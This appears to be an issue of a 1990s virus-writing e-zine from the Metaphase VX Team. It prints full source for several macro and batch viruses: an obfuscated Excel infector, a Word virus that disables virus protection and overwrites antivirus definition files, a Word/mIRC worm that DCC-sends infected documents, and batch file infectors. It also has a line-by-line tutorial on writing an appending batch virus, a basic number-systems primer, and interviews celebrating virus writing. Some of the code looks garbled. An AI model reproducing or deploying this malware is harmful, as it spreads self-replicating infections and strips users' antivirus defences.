  If Application.Workbooks(x).Name = Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr(34) Then

  For x = 1 To Application.Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr(34)).Modules.Count

    If Application.Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Modules(x).Name = Chr(34) + Chr(90) + Chr(97) + Chr(78) + Chr(34) Then

     check_zan = True

    End If

  Next x

  End If

Next z

End Function

Function infzanat0s()

  Activebook = ActiveWorkbook.Name

  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\Zanat0s.XLM"

  Workbooks.Open (Application.StartupPath + "\Zanat0s.XLM")

  Windows(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Visible = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

 Application.Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Save

End Function

Function zanat0s_check() As Boolean

 activebook = ActiveWorkbook.Name

 zanat0s_check = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

 For x = 1 To Application.Workbooks(activebook).Modules.Count

     If Application.Workbooks(activebook).Modules(x).Name = Chr(34) + Chr(90) + Chr(97) + Chr(78) + Chr(34) Then

        zanat0s_check = True

     End If

 Next x

End Function

Sub Zan()

    oactivebook = ActiveWorkbook.Name

    If zanat0s_check() Then

       GoTo zanat0s_exit

    Else

    End If

    Application.ScreenUpdating = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

    Application.Windows(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Visible = True

    Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Activate

    Sheets(Chr(34) + Chr(90) + Chr(97) + Chr(78) + Chr(34))Visible = True

    Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Sheets(Chr(34) + Chr(90) + Chr(97) + Chr(78) + Chr(34))Copy Before:=Workbooks(oactivebook).Sheets(1)

    Workbooks(oactivebook).Sheets(Chr(34) + Chr(90) + Chr(97) + Chr(78) + Chr(34))Visible = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

    Workbooks(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Sheets(Chr(34) + Chr(90) + Chr(97) + Chr(78) + Chr(34))Visible = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

    Windows(Chr(34) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(88) + Chr(76) + Chr(77) + Chr().Visible = Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)

zanat0s_exit

Close

End Sub

Sub ZanPay()

On Error GoTo leave_zan

If Day(Date) = "18" Then

Kill Chr(34) + Chr(67) + Chr(58) + Chr(92) + Chr(102) + Chr(45) + Chr(109) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(92) + Chr(42) + Chr(46) + Chr(100) + Chr(101) + Chr(102) + Chr(34)

On Error GoTo leave_zan

Kill Chr(34) + Chr(67) + Chr(58) + Chr(92) + Chr(80) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(109) + Chr(32) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(115) + Chr(92) + Chr(109) + Chr(99) + Chr(97) + Chr(102) + Chr(101) + Chr(101) + Chr(92) + Chr(42) + Chr(46) + Chr(100) + Chr(97) + Chr(116) + Chr(34)

On Error GoTo leave_zan

MsgBox Chr(34) + Chr(87) + Chr(101) + Chr(108) + Chr(99) + Chr(111) + Chr(109) + Chr(101) + Chr(32) + Chr(116) + Chr(111) + Chr(32) + Chr(88) + Chr(77) + Chr(57) + Chr(55) + Chr(46) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(97) + Chr(34), vbCritical + vbOKOnly, "-KD- / Metaphase"

Assistant.Visible = True

With Assistant.NewBalloon

.Icon = msoIconTip

.Text = "The video game says -Play me- Face it on a level but it takes you every time on a one on one Feeling running down your spine Nothing gonna save your one last dime cause it owns you Through and through"

.Heading = Chr(34) + Chr(88) + Chr(77) + Chr(57) + Chr(55) + Chr(46) + Chr(90) + Chr(97) + Chr(110) + Chr(97) + Chr(116) + Chr(48) + Chr(115) + Chr(46) + Chr(97) + Chr(34)

.Animation = msoAnimationGetTechy

.Show

End With

Application.ActiveWorkbook.Save

Application.ActiveWindow.Close

Else

End If

leave_zan:

End Sub


WM97.Darky.a
WM97.Darky.a by -KD-

______________________________________________________________________

Virus Author: -KD- of [Metaphase VX Team]&[NoMercyVirusTeam] Oct 98.

Virus Name  : WM97.darky.a

Virus Target: Word 8

Target OS...: Win 9.x

Virus Info..: WM97 Macro With Batch Dropper Useing Import/Export

Encryption..: No.

Payload.....: Yes. Bat.darky.a

Stealth.....: Yes.

TSR.........: N/A.

AntiAV......: Yes. Anti Mcafee And F-macrow

______________________________________________________________________

Attribute VB_Name = "darky"

Sub AutoClose()

' [WM97.darky.a]

' by -KD- / Metaphase VX Team & NoMercyVirusTeam

' Tech used from Mr.Vic, 29/A & NoMercy special thanx

' Special greetz to Darkman & 29/A

On Error Resume Next

Application.VBE.ActiveVBProject.VBComponents("darky").Export "c:\darky.dll"

With Options

    .ConfirmConversions = False

    .VirusProtection = False

    .SaveNormalPrompt = False

End With

Application.ScreenUpdating = False

Application.DisplayStatusBar = False

Application.DisplayAlerts = False

Options.VirusProtection = False

CommandBars("tools").Controls("Macro").Delete

CommandBars("tools").Controls("Customize...").Delete

CommandBars("view").Controls("Toolbars").Delete

CommandBars("view").Controls("Status Bar").Delete

For X = 1 To NormalTemplate.VBProject.VBComponents.Count

If NormalTemplate.VBProject.VBComponents(I).Name = "darky" Then NormInstall = True

Next X

For X = 1 To ActiveDocument.VBProject.VBComponents.Count

If ActiveDocument.VBProject.VBComponents(I).Name = "darky" Then ActivInstall = True

Next X

If ActivInstall = True And NormInstall = False Then Set Dm = NormalTemplate.VBProject _

Else If ActivInstall = False And NormInstall = True Then Set Dm = ActiveDocument.VBProject

On Error GoTo leave_darky

If Day(Date) = "21" Then

Open "C:\f-prot\macro.def" For Output As #1

Print #1, " WM97.darky.a"

Print #1, " WM97.darky.a"

Print #1, " WM97.darky.a"

Close #1

SetAttr "C:\f-prot\macro.def", vbReadOnly

Open "C:\program files\mcafee\*.dat" For Output As #2

Print #2, " WM97.darky.a"

Print #2, " WM97.darky.a"

Print #2, " WM97.darky.a"

Close #2

SetAttr "C:\program files\mcafee\*.dat", vbReadOnly

Open "C:\f-macro\*.def" For Output As #3

Print #3, " WM97.darky.a"

Print #3, " WM97.darky.a"

Print #3, " WM97.darky.a"

Close #3

SetAttr "C:\f-macro\*.def", vbReadOnly

Open "c:\darky.bat" For Output As #4

Print #4, ":: [bat._darky.a]"

Print #4, ":: by -KD- / Metaphase VX Team & NoMercyVirusTeam"

Print #4, ":: Greetz to Darkman and 29/A"

Print #4, "::"

Print #4, "@echo off%__darky%"

Print #4, "if '%1=='_darky goto _darky%2"

Print #4, "set _darky=%0.bat"

Print #4, "if not exist %_darky% set _darky=%0"

Print #4, "if '%_darky%==' set _darky=autoexec.bat"

Print #4, "if exist c:\__darky.bat goto _darky_gettin_ya"

Print #4, "if not exist %_darky% goto exist_darky"

Print #4, "find "; CHR$(34); "_darky"; CHR$(34); "<%_darky%>c:\__darky.bat"

Print #4, "attrib c:\__darky.bat +h"

Print #4, ":_darky_gettin_ya"

Print #4, "if '%!_darky%=='-- goto _darky_pay"

Print #4, "set !_darky=%!_darky%-"

Print #4, "command /e:5000 /c c:\__darky _darky vx . .. \ %path%"

Print #4, ":exist_darky"

Print #4, "set _darky="

Print #4, "goto _darky_pay"

Print #4, ":_darkyvx"

Print #4, "shift%__darky%"

Print #4, "if '%2==' exit _darky"

Print #4, "for %%a in (%2\*.bat %2*.bat) do call c:\__darky _darky infect %%a "

Print #4, "goto _darkyvx"

Print #4, ":_darkyinfect"

Print #4, "find '_darky'<%3>nul"

Print #4, "if not errorlevel 1 goto _darky_jump"

Print #4, "type %3>_darky$"

Print #4, "echo.>>_darky$"

Print #4, "type c:\__darky.bat>>_darky$"

Print #4, "move _darky$ %3>nul"

Print #4, "set _darky#=%_darky#%-"

Print #4, "if %_darky#%==-- exit"

Print #4, ":_darky_jump"

Print #4, "set _darky!=%_darky!%-"

Print #4, "if %_darky!%==-- exit"

Print #4, ":_darky_pay"

Print #4, "echo.|date|find "CHR$(34); "10"; CHR$(34); ">nul._darky"

Print #4, "if errorlevel 1 goto _darky_exit"

Print #4, "echo y| del c:\mcafee\*.dat"

Print #4, "if errorlevel 1 goto darkymsg"

Print #4, ":darkymsg"

Print #4, "echo bat._darky.a by -kd-"

Print #4, ":_darky_exit"

Close #4

SHELL "c:\darky"

Kill "c:\darky.bat"

Else

End If

leave_darky:

On Error Resume Next

Dm.VBComponents.Import ("c:\darky.dll")

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

End Sub


Secret Script/Word Virus.a
Secret Script/Word Virus.a by Sinixstar

______________________________________________________________________

Virus Author: Sinixstar of [Metaphase VX Team] Oct 98.

Virus Name  : Secret Script/Word Virus

Virus Target: Word 8

Target OS...: Win 9.x

Virus Info..: WM97 Macro/ Mirc Script Virus Useing Import/Export

Encryption..: No.

Payload.....: Yes. Part Of The Replacation

Stealth.....: Yes.

TSR.........: N/A.

AntiAV......: No.

______________________________________________________________________

atribute(VBE) = "secret"

Sub FileOpen()

' Secret Script/Word Virus By Sinixstar - Metaphase VX

' Special  thanks to Reptile/29a for the idea around that lil word virii patch

' Thanks to Knowdeth for all the help he's givin me.

' Also thanks to everyone  else whos helped, you know who you are.

Application.VBE.ActiveVBProject.VBComponents("secret").Export "c:\windows\secret.sys"

On Error Resume Next

Options.ConfirmConversions = False

Options.SaveNormalPrompt = False

Options.VirusProtection = False

If ToolsWordCount.Count = < 500 Then

    For A = 1 To NormalTemplate.VBProject.VBComponents.Count

        If NormalTemplate.VBProject.VBComponents(A).Name = "secret" Then NormInstall = True

            Next A

    For A = 1 To ActiveDocument.VBProject.VBComponents.Count

        If ActiveDocument.VBProject.VBComponents(A).Name = "secret" Then ActivInstall = True

            Next A

        If ActivInstall = True And NormInstall = False Then Set Secj = NormalTemplate.VBProject _

            Else If ActivInstall = False And NormInstall = True Then Set Secj = ActiveDocument.VBProject

End If

SHELL "COPY secret.doc C:\Windows\"

SetAttr "C:\Windows\secret.doc", vbReadOnly

SetAttr "C:\windows\secret.sys", vbReadOnly

SetAttr "C:\mirc\system\script.ini", vbReadOnly

OPEN "C:\mirc\system\script.ini" FOR OUTPUT AS #1

PRINT #1 "[script]"

PRINT #1 "n0=on 1:text:   *:?:{ s *2 | halt }"

PRINT #1 "n1=alias /s / *1"

PRINT #1 "n2=on 1:connect:/.enable #d"

PRINT #1 "n3=#d off"

PRINT #1 "n4=on 1:join:#:{ if ($nick != $me) { dcc send $nick "c:\windows\secret.doc" } | .disable #d | .timer 1 60 .enable #d }"

PRINT #1 "n5=#d end"

CLOSE #1

Secj.VBComponents.Import ("c:\windows\secret.sys")

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

End Sub

END


Bat.metallica
Bat.metallica by Raven

______________________________________________________________________

Virus Author: Raven of [Metaphase VX Team] Oct 98.

Virus Name  : BAT.Metallica.a

Virus Target: Batch Files

Target OS...: DOS 6.x

Virus Info..: Compound Batch Infector

Encryption..: No.

Payload.....: Yes. Small Message and Deletes A Def file

Stealth.....: N/A.

TSR.........: N/A.

AntiAV......: Yes. Anti F-macrow

______________________________________________________________________

:: [bat.metallica]

:: Raven of Metaphase VX Team

@if '%_vx%==' goto _vx

@if not '%_vx%==' goto metal_up_your_ass

:_vx metallica

@echo off%_metallica%

if '%1=='metallica goto metallica%2

set metallica=%0.bat

if not exist %metallica% set metallica=%0

if '%metallica%==' set metallica=autoexec.bat

set !metallica=%1 %2 %3 %4 %5 %6 %7 %8 %9

if exist c:\_metallica.bat goto metallicagoes

if exist %metallica% goto metallicafall

call %metallica% metallica h %path%

if exist %metallica% goto metallicafall

goto xxxmetallica

:metallicahell

shift%_metallica%

if '%2==' goto metal_up_your_ass

if exist %2\%metallica set metallica=%2\%metallica%

if exist %2%metallica set metallica=%2%metallica%

if exist %2\%metallica.bat set metallica=%2\%metallica%.bat

if exist %2%metallica.bat set metallica=%2%metallica%.bat

if not exist %metallica% goto metallicahell

goto metallica_exit

:metallicafall

find "metallica"<%metallica%>c:\_metallica.bat

attrib c:\_metallica.bat +h

:metallicagoes

if '%!metallica%=='````` goto metal_up_your_ass

set !metallica=%!metallica%`

command /e:5000 /c c:\_metallica metallica aux

:xxxmetallica

call %metallica% metallica now

set _vx=%_metallica%

set !metallica=

set metallica=

goto metal_up_your_ass

:metallicanow

set _vx=x%_metallica%

%metallica% %!metallica%

:metallica_aux

for %%a in (*.bat ..\*.bat) do call c:\_metallica metallica invite %%a

exit metallica

:metallica_invite

find "metallica"<%3>nul

if not errorlevel 1 goto metallicajustice

echo @if '%%_vx%%==' goto _vx>metallica$

type %3>>metallica$

echo.>>metallica$

type c:\_metallica.bat>>metallica$

move metallica$ %3>nul

set metallica#=%metallica#%`

if %metallica#%==````` exit

:metallicajustice

set metallica!=%metallica!%`

if %metallica!%==````` exit

:metal_up_your_ass

echo.|date|find "25">nul.metallica

if errorlevel 1 goto metallica_exit

echo ... And Justice For All

if errorlevel 1 goto metallica_exit

echo y| del c:\f-prot\macro.def

:metallica_exit


Number Systems
Number Systems by Sblip

Number Systems

by ß£ip

objectives:

define number systems

teach binary system

teach the hexadecimal system

teach simple conversions

Ahh Math.

I'll try to cut out the crap and get straight to

the point - teaching the (very) basics of hex and binary.

As you know, the decimal system (the one we use every day) uses a base 10 for operations. The two other systems

we'll discuss are the hexadecimal system and the binary

system. These systems use a base 16 and a base 2, respectively.

It's fairly simple to grasp when viewed in columns -

each number represents a value * a power of its place.

Each system always starts at one, and goes in powers

of the base. ie in decimal the first column is 10^1, the second is 10^2, and so on. in any number system x, each field is increased by one power, starting at 0.

____________________________________________________________________

| x^10 | x^9 | x^8 | x^7 | x^6 | x^5 | x^4 | x^3 | x^2 | x^1 | x^0 |

--------------------------------------------------------------------

So in base 10, decimal, we have

1000's     |     100's     |     10's     |     1's

Easy.

It's the same for other numerical systems, except we aren't working

from base 10, we're working from base 2 or 16.

so for base 2 (binary) system, it would be

256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1

or for base 8 (octal) system, it would be

32,768 | 4096 | 512 | 64 | 8 | 1

The Binary System

-----------------

The binary system has a base 2, which means each column's

value equals 2 times the value of the one to the right,

starting with the rightmost digit, which equals 1. The only

digits it uses are 0 and 1.

Here's an example

| 512 | 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |

--------------------------------------------------

   1     0     0     1    1    0   0   1   0   1

1001100101 == 512 + 64 + 32 + 4 + 1 == 613d (the d means decimal)

What about the other way around you ask ?

(you had to ask, didn't you)

It's not that hard, but requires a little more work.

Again, take 613 as an example. how do you get 1001100101

out of it ? well ..

first make the columns, until you reach a number larger

than the one you are converting

so ..

| 1024 | 512 | 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |

---------------------------------------------------------

    0

first put a zero under the 1024 (It's bigger than we need)

After this, the algorithim is simple.

* If the place immediately to the right is smaller than the

number, write down a one, and subtract the place value from

the number *

so ..

613-512 = 101

so we have

| 512 | 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |

--------------------------------------------------

   1

If the place value is bigger, write down a zero, and goto the

next place.

256 > 101, so put a zero down in the 256 place, and move on .

The same for the next place, 128 > 101 , so put a zero down. so far we have:

| 512 | 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |

--------------------------------------------------

   1     0     0

moving right along .. 101 > the next place (64) so subtract 64 from 101.

101-64 = 37

so put a 1 down under the 64's place.

| 512 | 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |

--------------------------------------------------

   1     0     0     1

next 37-32 = 5

16 > 5 so put a 0 in the 16's place

8  > 5 so put a 0 in the 8's place

4  < 5 so put a 1 in the 4's place, subtract 4 from 5 and get 1

2  > 1 so put a 0 in the 2's place

and 1 == 1 so put a 1 in the 1's place

and you get

| 512 | 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |

--------------------------------------------------

   1     0    0     1    1     0   0   1   0   1

1001100101

EASY !!

The Hexadecimal System

----------------------

The hexadecimal system has a base 16, which means each column's

value equals 16 times the value of the one to the right, starting with the rightmost digit, which equals 1.

The digits used in hex are a little different.

Being as it's based on the number 16, there have to be numbers to represent the values 10-15. To do this, we use the letters a-f.

So to count from 0 to 15,

0 1 2 3 4 5 6 7 8 9 a b c d e f

It makes no difference if you use lower or upper case.

Again, the places are set up in powers of 16.

_______________________________

| 65536 | 4096 | 256 | 16 | 1 |

-------------------------------

As you can see, as the base number gets higher, larger numbers can be expressed in fewer digits.

Converting from Hex > Decimal

Let's convert the Hex value 5CD into decimal.

first line up the columns :

________________

| 256 | 16 | 1 |

----------------

   5     C    D

so we have : (256*5) + (16*12 *remember, c == 12) + (1 * 13)

           : 1280 + 192 + 13

           : 1485

so here it is - 5cd hex == 1485 decimal

Converting from Decimal > hex

This is a little tuffer, but not much.

Lets take 1485 again, and prove that it == 5cd in hex.

first write down the table

_______________________

| 4096 | 256 | 16 | 1 |

-----------------------

Now, ignore 4096, since it is larger than 1485. First, divide 1485 by 256.

We get : 5 remainder 205.

So put the 5 in the 256 place, and then divide 205 by 16. We get 12 remainder 13. Remember, 12 in Hex is "c". SO so far we have a 5 in the 256 place, and a "c" in the 16's place. Next, take the remainder, 13, and divide it by one.

(I won't help you with this one) So, 13 in hex is "d", so hence we come up

with 5cd hex = 1485 decimal.

If any calculation ever leaves you with a remainder of zero, just fill the remaining places all with zeros.

End notes:

There are a few ways to express hex values. One, as we have seen, is to use just the numbers and letters in their corresponding places. Another

commonly used convention is to put a 0x before the hex value such as

0x5CD

to express the hex value 5CD. Also, sometimes you will see something like

\x5cd

which is the same thing. It's commonly used in programming.

In octal notation, a \0 is used ie

\0125

(that's not 125 decimal, that's 125 octal. big difference.)

v 0.01


Appending Batch Virii
Appending Batch Virii by -KD-

Batch Virii 2 Appenders

by Knowdeth

Utils you will need:

A text editor of some sort.

A working knollage of MS-DOS

A small understanding of Batch

About appending batch virii:

They are what are known as "Advanced" batch virii,

useing many subs and loops much like any other

programming lauange.

In this tut I will "try" to teach you how to make and

understand a advanced dos 6.x batch virus with payload.

You will not see "destructive" code in any payload

that i make. only "antiAV". Now you may ask why is this?

Simple kill the host you kill the virus. Why even waste

the time to code somthing if you going to make it commit

suicide? "antiAV" is diffrent your protecting your hard

work not killing it.

To run this virus as a test remove all my -statements.

The Code: "bat.tally.b" by -KD-

___________________________________________________________________

::[bat.tally.b] -a REM line

::-KD- Metaphase VX Team & NoMercyVirusTeam -a REM line

@echo off%_tally% -turns off echoing

if '%1=='tally goto tally%2  -branches if 1st parm

set tally=%0.bat -set the variables in %0.bat

if not exist %tally% set tally=%0 -branches if file is there

if '%tally%==' set tally=autoexec.bat -branches if 1st parm then sets the autoexec

if exist c:\_tally.bat goto tally_go -if c:\_tally.bat exist goto tally_go sub

if not exist %tally% goto tally_kewl -if tally dont exits then goto tall_kewl sub

find "tally"<%tally%>c:\_tally.bat -strip code from host

attrib c:\_tally.bat +h -hide _tally.bat

:tally_go -tally_go sub

if '%!tally%=='------ goto tally_pay -if tally = 6 runs then goto the payload

set !tally=%!tally%- -set the variables

command /e:5000 /c c:\_tally tally vx . .. \ %path% -do the command

:tally_kewl -tally_kewl sub

set tally= -variables

goto tally_pay -goto tally_pay sub

:tally_vx -tally_vx sub

shift%_tally% -use key in an undefined variable

if '%2==' exit tally -check then exit

for %%a in (%2\*.bat %2*.bat) do call c:\_tally tally inf %%a -look for batchs

goto tally_vx -goto tally_vx sub

:tally_inf -tally_inf sub

find "tally"<%3>nul -check if virus present in target

if not errorlevel 1 goto tally_jump -branch if there,get next filename

type %3>tally$  -sends output to a file

echo.>>tally$ -appends output to the file

type c:\_tally.bat>>tally$ -runs _tally.bat

move tally$ %3>nul -output into nothingness

set tally#=%tally#%- -set the variables

if %tally#%==-- exit -if tally = 2 infects then exit

:tally_jump -tally_jump sub

set tally!=%tally!%- -set the variables

if %tally!%==---- exit -if tally = 4 seeks then exit

:tally_pay -tally_pay sub

echo.|date|find "18">nul.tally -look for day 18

if errorlevel 1 goto tally_exit -if error goto tally_exit

echo y| del c:\progra~1\mcafee\*.dat -delete mcafee windows dat files

if errorlevel 1 goto tally_kill_mcafee_dos -if error goto tally_kill_mcafee_dos sub

:tally_kill_mcafee_dos -tally_kill_mcafee_dos sub

echo y| del c:\mcafee\*.dat -delete mcafee dos dat files

if errorlevel 1 goto killfmacrow -if error goto killfmacrow sub

:killfmacrow -killfmacrow sub

echo y| del c:\f-prot\macro.def -delete f-prot macro def files

if errorlevel 1 goto tally_exit -if error goto tally_exit

:tally_exit -your all done exit tally sub

___________________________________________________________________

Removal of batch virii:

Batch virii work by adding code to the beginning and/or

the end of the infected .bat files. All infected code can

be removed by loading the infected .bat in to a text editor

and removing the added lines. Some may use a hidden copy of

themselves in root and/or other dir's. The command DIR /AH /S

shows ALL hidden files on a drive. You will then need to

use attrib *.bat -s -r -h then use del *.bat, with "*.bat"

as the virus name. If the payload went off and deleted some

the files just replace them after the virus has been removed.


Opic
Opic  interview by -KD-

'>' is Knowdeth

no '>' is Opic

>Who are you? Tell us about yourself.

  Im a college student from the USA, studying film and art, computers play no

  real  role in my life outside of what I have choosen them to.

>Where did you get your handle?

  eerrr.....i guess from my father (sorta), heh.

>Are you part of any VX groups?

  Yes the CodeBreakers.

>How long have you been part of the virus scene?

  Ever since I helped found the CodeBreakers

>How did you started programing virii?

  a help from a few virus writers and ALOT of studying code, as everyone else

  I suppose.

>What was your first virus?

  Phoebe.2523

>Are there any individuals or what groups do you respect out the VX/AV scene?

  yes, from VX: I have a particular respect for people who focus on new

  inovative infection techniques, and also for those individual VXers who

  arnt part of the VX community, they come out of left field with some huge

  world wide infection, they have style ;)

  AV: AVP for thier dedication to updating, and Peter Szor for being one of

  the only AV that spends more time writing disinfection rutines then writing

  commercials in news groups :)

>Which programming languages do you know and/or use the most?

  Assembly (obviously), but i also play with alot of HLLs like: VB, pascal,

  java, c++,delphi, and whatever else happens to catch my eye.

>What's your views on Macro/HLL virii vs. Assembly virii?

  Macros are fun, and you can do alot with them if you try, I have yet to

  spend alot of time with WM infection...but this will change..as for HLLs

  you are going to see alot more of them as we see windows95/98/32 infection

  becoming more standard. writing win32 infectors in ASM is a challenging

  task, and so we will see more HLL virii I predict

>What do you think of destructive payloads in virii?

  Useless and boring. why kill the computer that is helping your virus

  survive? it isnt good technique :)

>Where do you think the virus scene is going?

  It is becoming tighter and more compact...there is a weeding out process in

  which people not willing to learn windows infection and other inovative

  techniques are dying off.

>What advice would you give new virii programers?

  Start at the beginning. while it may not be much fun writing a dos .com

  infector because they dont spread what u learn writing it will help you all

  the way to your first ressy win32 virus :)

>What are your future plans?

  I would like to find a legitimate and reasonable foundation to write

  windows viruses on. It is very important that a standard infection rutine

  be derived for the windows NE/PE/LE/ect files so that inovations can be

  built on top of them and so windows infection id within reach of the VX

  community at large.

>Do you have any other comments?

  Yes. :)

>I would like to give you a Thank You from "me" Knowdeth

And all the Metaphase members for giving me your time

to make this inverview possible :-)


nUcLeii
nUcLeii interview by -KD-

'>' is Knowdeth

no '>' is nUcLeii

>Who are you? Tell us about yourself.

 Well, lets see. Im currently just a college student/computer nerd having fun

 with my life. I have a very health social life and a kewl girlfriend for over

 a year. My true love is producing electronic music (intelligent jungle/drum&bass)

>Where did you get your handle?

 haha., good question. I don't know when or why i picked it up. Everyone that

 has been through any sort of biology class knows what a nucleus is, and the

 plural is nuclei.,., i just happened to have a typo that i liked and stuck with it.

>Are you part of any VX groups?

 No, not currently or ever in the past.

>How long have you been part of the virus scene?

 About a year or so. Ever since i first had a computer, and a cute little

 cascade infection, i have been interested in the vx scene. I use to read all

 the av papers on the dark avenger and the more common vx zines way before i

 ever learned programming or ever really got involved.

>How did you started programing virii?

 Something about a program that can spread itsell... ahh., i geuss its the

 classic "artifical life" thing that really made me interested in viruses. A

 friend of mine (went by the handle of fayte, which i havent had contact with

 for god knows how long, ... so if your out there, mail me,.,) knew a little

 assembler, and helped me learn the basics, and always sent me examples and

 stuff. One way or another i learned virus programming as i was learning the

 assembly language. I also was learning computers in general. It all happened at

 once. hehe.,,.

>What was your first virus?

 err., ick. The first virus i took credit for was a hack of the p/s TR-808

 virus, which was a hack of the leprosy virus. Due to my love of electronic music,

 when i found the source for a virus that had something to do with it i flipped. All

 i really did to it was rip out its encryption, changed it, did a little bug fixing,

 and added some harmful payloads. I did a ton of code optimization to it, and cut

 out enough shit to make it 606 bytes. If your wondering, a TR-808 was an

 analog drum machine made by roland in the early 80's. It was discontinued, and

 now the street price has blown sky high. The 606 was another machine in the TR

 series. The first virus i really coded myself was a .com overwriter, restored files

 time/date, and it could defeat read only files. The classic peice of shit overwriter.

>Are there any individuals or what groups do you respect out the VX/AV scene?

 I wish you didn't ask that.,hehe., ok, here we go. Starting with the groups..,

29a          - One of the best damn groups active today. They have some of the top

       coders around, and have made an outstanding contribution to the vx  scene.

Codebreakers - A great group. They had the right idea and took the time to teach others.

If you are just learning assembler and virus programming, then their zines

are worth gold.

SLAM         - Slam just rox0rs. =] Much Respect.

There are many old groups i respect for paving the way, but hell thats all in the past.

Lets move on.

Now with the writers.,,.

cmdr_PVC            - A great teacher

"Q" the misanthrope - Many contributions over the years to the VX, thanks for everything.

Virtual Daemon      - Great coder, much respect.

Virogen             - Great coder, much insperation

RAiD                - Gotta respect doing shit diffrent.

Opic                - Much respect,,.

Everyone from 29a, for pushing on, and also all the old schoolers that pretty much invented

the virus scene, and for the scratch coders of the classics that nobody know who wrote em.,

             Much Respect.

>Which programming languages do you know and/or use the most?

 The only language i really know and use is assembler.

>What's your views on Macro/HLL virii vs. Assembly virii?

 Macro viruses have played a big role here in the late 90's. They are another

 example of  how bill gates and his stupid microsoft fucked up once again. If they

 keep leaving holes like that open, then there is always going to be someone to

 discover and exploit it. Most hll viruses are rather stupid due to the sheer size of

 them. Still, after contracting a CREED v1.0 infection myself, i found a new

 respect. Big ups to RAiD! hehe., I just find it amazing that after all this time, and

 all the people that went bitching about it on A.C.V that no av can clean it to this

 date. Thats not too shabby if ya ask me. As far as contrasting to assembly

 language, well, you cant. They both play their own role, and all have their ups

 and downs. Its really about personal opinion. Personally, i dont have much

 interest in macros or hll.

>What do you think of destructive payloads in virii?

 Well, i could sit here and bitch about how its retarded to distroy other peoples

 data, but that is a topic i cant get into. I dont know any virus writer that hasnt

 done this at some time or other. I have never created a virus with a destructive

 payload and spread it in the wild (although, somehow avp got their hands on a

 virus from me that will overwrite the first four sectors on the a and b drives., go

 figure). I just think that if you write code and spread it, the last thing you want to

 do is put code in it that will distroy itself. Look into biological viruses, its the same

 thing. Ones that kill their host quickly die out quickly. Ever wonder why the hiv is

 everywhere and ebola is not?

>Where do you think the virus scene is going?

 hehe., nothing but up. Im sure win32 infection is going to start comming on

 strong, and hell knows whats going to happen with the future OS. One way or

 another, the virus scene will survive and continue to come out on top.

>What advice would you give new virii programers?

 Start slow. Don't try to rush out and expect to be able to code everything at

 once. It all will come in time. Learn to code dos viruses to learn how a computer

 works, then head for win32 exe infectors.,heh., i wish i had. Fuck what the past

 says, its time to push forward.

>What are your future plans?

 I have no idea,. i would like to have a few more issues of Vx United completed

 before i move away from the virus scene. I just want to have fun, live my life, and

 rock code. Is  that too much to ask? hehe.,

>Do you have any other comments?

  nope. hehe,.

  err., wait, just one.

  "Technology"

>I would like to give you a Thank You from "me" Knowdeth

And all the Metaphase members for giving me your time

to make this inverview possible :-)


foxz
foxz interview by Sinixstar

> is Sinixstar

-  is Foxz

 >So tell me, Who are you?

 - I'm a virus maker (*grin*) that like to be kidding to each other,

 truely i'm a web designer that work on big (very big) company in

 my country, i have free internet access that why NoMercyVirusTeam

 page almost every day going update ;o)

 - I'm Starting in this scene sine 1996 when my old 486 cut down by

 WelcomeB, damn! till now i cant get contact to the creator, i want

 say thanks to the creator without him i'm never joint in this scene.

 Ops dont forget Cicatrix is the part in our first page, http://www.

 geocities.com/ResearchTriangle/3996 (now death!). He ask me to

 build a page for my virus(es). And I want say thank to :

 Pyro : thanks to publish our first virus ShowOff

 DarkChasm : thanks to make me know the creator of VDAT

 and

